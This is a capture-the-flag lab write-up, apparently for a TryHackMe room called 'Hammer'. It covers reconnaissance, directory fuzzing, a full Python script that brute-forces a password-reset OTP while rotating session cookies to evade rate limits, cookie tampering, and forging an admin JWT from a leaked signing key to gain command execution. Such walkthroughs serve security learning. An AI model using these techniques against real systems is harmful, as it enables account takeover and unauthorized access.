Post

Hammer

Use your exploitation skills to bypass authentication mechanisms on a website and get RCE.

Hammer

image-1443

image-1445

Questions

image-1446


Reconnaissance

1
rustscan -a 10.48.157.58 -- -sV -sC

image-1447

image-1448

Found ports 22 (SSH) and 1337 open, and in this case they use port 1337 for the http protocol (Website). So, let’s access http://10.48.157.58:1337

image-1449

image-1452

We found a note that told us dirs are in the hmr_ format

So, let’s create custom wordlists by adding the hmr_ prefix

1
2
3
cp /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt .

sed 's/^/hmr_/' DirBuster-2007_directory-list-2.3-medium.txt > hmr_dir.txt

Next, use gobuster to find hidden directories with our custom wordlist.

image-1453

We found hmr_logs, which contains an error.logs file

image-1455

This shows user tester@hammer.thm exists. It may be useful for the /reset_password.php feature.

image-1456

It seems like we have to perform an OTP bypass


Burpsuite

image-1457

I use burpsuite to see req and res and found that the limit starts at 8 So, we can only submit an OTP code 8 times

image-1458

To prevent this issue, I will reset the token every time we submit OTP codes.

image-1459

Trying to verify if it’s possible

image-1460

image-1461

With the information we have, we are able to automate the process of brute-forcing a password recovery. It first requests a password reset and retrieves the PHPSESSID cookie, then iteratively submits recovery codes in a brute-force manner, periodically refreshing the PHPSESSID every seventh request. The script detects a successful code submission by checking for a change in the response text’s word count.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
	import subprocess
	
	def get_phpsessid():
	    # Request Password Reset and retrieve the PHPSESSID cookie
	    reset_command = [
	        "curl", "-X", "POST", "http://hammer.thm:1337/reset_password.php",
	        "-d", "email=tester%40hammer.thm",
	        "-H", "Content-Type: application/x-www-form-urlencoded",
	        "-v"
	    ]
	
	    # Execute the curl command and capture the output
	    response = subprocess.run(reset_command, capture_output=True, text=True)
	
	    # Extract PHPSESSID from the response
	    phpsessid = None
	    for line in response.stderr.splitlines():
	        if "Set-Cookie: PHPSESSID=" in line:
	            phpsessid = line.split("PHPSESSID=")[1].split(";")[0]
	            break
	
	    return phpsessid
	
	def submit_recovery_code(phpsessid, recovery_code):
	    # Submit Recovery Code using the retrieved PHPSESSID
	    recovery_command = [
	        "curl", "-X", "POST", "http://hammer.thm:1337/reset_password.php",
	        "-d", f"recovery_code={recovery_code}&s=180",
	        "-H", "Content-Type: application/x-www-form-urlencoded",
	        "-H", f"Cookie: PHPSESSID={phpsessid}",
	        "--silent"
	    ]
	
	    # Execute the curl command for recovery code submission
	    response_recovery = subprocess.run(recovery_command, capture_output=True, text=True)
	    return response_recovery.stdout
	
	def main():
	    phpsessid = get_phpsessid()
	    if not phpsessid:
	        print("Failed to retrieve initial PHPSESSID. Exiting...")
	        return
	    
	    for i in range(10000):
	        recovery_code = f"{i:04d}"  # Format the recovery code as a 4-digit string
	
	        if i % 7 == 0:  # Every 7th request, get a new PHPSESSID
	            phpsessid = get_phpsessid()
	            if not phpsessid:
	                print(f"Failed to retrieve PHPSESSID at attempt {i}. Retrying...")
	                continue
	        
	        response_text = submit_recovery_code(phpsessid, recovery_code)
	        word_count = len(response_text.split())
	
	        if word_count != 148:
	            print(f"Success! Recovery Code: {recovery_code}")
	            print(f"PHPSESSID: {phpsessid}")
	            print(f"Response Text: {response_text}")
	            break
	
	if __name__ == "__main__":
	    main()
	

After we have run the script, we receive the valid recovery code, the PHPSESSID and the response body.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
Success! Recovery Code: 1114
PHPSESSID: r7djmm8aijvn2t7qk96b354m37
Response Text: 
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Reset Password</title>
     <link href="/hmr_css/bootstrap.min.css" rel="stylesheet">
    <script src="/hrm_js/jquery-3.6.0.min.js"></script>
	    <script>
	let countdownv = 180;
        function startCountdown() {
            
            let timerElement = document.getElementById("countdown");
			const hiddenField = document.getElementById("s");
            let interval = setInterval(function() {
                countdownv--;
				 hiddenField.value = countdownv;
                if (countdownv <= 0) {
                    clearInterval(interval);
					//alert("hello");
                   window.location.href = 'logout.php'; 
                }
                timerElement.textContent = "You have " + countdownv + " seconds to enter your code.";
            }, 1000);
        }
    </script>
</head>
<body>
<div class="container mt-5">
    <div class="row justify-content-center">
        <div class="col-md-4">
            
                            <h3 class="text-center">Reset Your Password</h3>
                <form method="POST" action="">
                    <div class="mb-3">
                        <label for="new_password" class="form-label">New Password</label>
                        <input type="password" class="form-control" id="new_password" name="new_password" required>
                    </div>
                    <div class="mb-3">
                        <label for="confirm_password" class="form-label">Confirm New Password</label>
                        <input type="password" class="form-control" id="confirm_password" name="confirm_password" required>
						 
                    </div>
                    <button type="submit" class="btn btn-primary w-100">Reset Password</button> <p></p>
					<button type="button" class="btn btn-primary w-100" style="background-color: red; border-color: red;" onclick="window.location.href='logout.php';">Cancel</button>
                </form>
                    </div>
    </div>
</div>
</body>
</html>

Now, just set PHPSESSID to the one we got

image-1463

I replace the browser’s PHPSESSID cookie with the one from the successful recovery attempt. This lets the browser continue with that verified session.

image-1464

image-1465

After reloading the page, we can now change the password to whatever we want and log in with that password

image-1466

image-1467

and we got our first flag.

… and are forwarded to the dashboard. We see that we have the role user, can enter commands and are greeted with the first flag. After a short time, we are logged out.


RCE

First, we look at what makes us log out. In the source, we see a script that checks the cookies after an interval, and if the condition is not met, we are logged out. If persistentSession is not set to true, we can just manually add an expiry time and stay on this page.

image-1469

image-1472

image-1473

but it seems like we can only use the ls command

image-1468


JWT Token

We analyze the JWT token using jwt.io and can make out the structure. In the header, a kid is set that points to a key file located at /var/www/mykey.key. Furthermore, the token contains the role user. Maybe with another role like admin, we would be able to execute arbitrary commands.

image-1474

image-1475

We recall the listing of our ls command; here we had a key file. The key file contains a hash value, possibly the secret for signing a JWT token. So we can probably craft our own token, since we have access to the secret and can guess the location of the token for the kid

image-1476

Let’s create an admin token with a structure like this:

image-1479

And now we can use this token to run other commands

image-1480

Finally, we got the last flag!


This post is licensed under CC BY 4.0 by the author.